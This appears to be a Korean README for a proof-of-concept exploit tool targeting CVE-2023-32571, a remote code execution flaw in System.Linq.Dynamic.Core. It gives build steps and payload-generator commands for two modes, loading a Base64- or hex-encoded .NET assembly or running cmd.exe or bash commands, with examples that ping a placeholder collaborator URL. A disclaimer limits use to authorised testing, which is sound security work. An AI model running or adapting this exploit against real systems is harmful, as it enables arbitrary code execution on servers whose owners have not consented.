
CVE-2023-32571에 대한 개념 증명
CVE-2023-32571에 대한 개념 증명(Proof of Concept)으로, System.Linq.Dynamic.Core(1.0.7.10 ~ 1.2.25)의 원격 코드 실행 취약점입니다. 이 취약점은 Where, Select, OrderBy를 포함한 메서드에 신뢰할 수 없는 입력이 파싱될 때 공격자가 임의 코드와 명령을 실행할 수 있게 합니다.
이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 개발자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.
dotnet build --configuration Release
Payload/bin/Release/netstandard2.0/Payload.dll 경로의 Payload DLLGenerator/bin/Release/net9.0/Generator.dll 경로의 Payload Generator이 도구는 두 가지 모드를 지원합니다:
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1
# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1
# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"
# Linux command execution
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
--mode: 익스플로잇 모드 (0=AssemblyLoad, 1=ProcessStart)--file: 로드할 .NET 어셈블리 경로 (AssemblyLoad 모드에서 필수)--type: 인스턴스화할 정규화된 형식 이름 (AssemblyLoad 모드에서 필수)--parameters: 모드에 따른 매개변수:
--encoding: AssemblyLoad 모드의 인코딩 방식 (0=Hex, 1=Base64)